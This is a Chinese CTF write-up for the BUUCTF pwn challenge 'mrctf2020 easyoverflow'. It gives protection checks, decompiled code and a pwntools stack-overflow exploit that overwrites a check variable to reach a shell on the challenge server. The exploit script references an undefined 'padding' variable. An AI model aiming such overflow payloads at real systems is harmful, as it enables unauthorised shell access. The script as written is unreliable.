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Zephyr
2022-04-06
目录

mrctf2020 easyoverflow

# mrctf2020 easyoverflow

# 前提

# 查看文件保护

[*] '/root/pwn/buuctf/mrctf2020_easyoverflow/mrctf2020_easyoverflow'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
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# 静态分析

主函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-70h]
  __int64 v5; // [rsp+30h] [rbp-40h]
  __int64 v6; // [rsp+38h] [rbp-38h]
  __int64 v7; // [rsp+40h] [rbp-30h]
  __int64 v8; // [rsp+48h] [rbp-28h]
  __int64 v9; // [rsp+50h] [rbp-20h]
  __int64 v10; // [rsp+58h] [rbp-18h]
  __int16 v11; // [rsp+60h] [rbp-10h]
  unsigned __int64 v12; // [rsp+68h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  v5 = 7376685493371762026LL;
  v6 = 7440000900169689920LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0;
  gets(&v4, argv);
  if ( !(unsigned int)check((__int64)&v5) )
    exit(0);
  system("/bin/sh");
  return 0;
}
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check函数如下:

signed __int64 __fastcall check(__int64 a1)
{
  int i; // [rsp+18h] [rbp-8h]
  int v3; // [rsp+1Ch] [rbp-4h]

  v3 = strlen(fake_flag);
  for ( i = 0; ; ++i )
  {
    if ( i == v3 )
      return 1LL;
    if ( *(_BYTE *)(i + a1) != fake_flag[i] )
      break;
  }
  return 0LL;
}
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# 思路分析

  1. 目前信息:

    • main函数存在溢出点
    • check检查若v5!=fake_flag则程序退出
    • Canary found
    • NX enabled
    • PIE enabled
  2. 思路:

    • 输入点在v4,用v4溢出修改v5为fake_flag的值就可获得shell

# exp

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/mrctf2020_easyoverflow/mrctf2020_easyoverflow'
io = remote('node4.buuoj.cn', 25009)
# io = process(pwnfile)
elf = ELF(pwnfile)
v4_v5_padding = 0x30
payload = flat(['a'*padding, 'n0t_r3@11y_f1@g'])
io.sendline(payload)
io.interactive()
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#buuctf#pwn#StackOverflow
上次更新: 2022/08/15, 00:29:49
bbys tu 2016
wustctf2020 getshell 2

← bbys tu 2016 wustctf2020 getshell 2→

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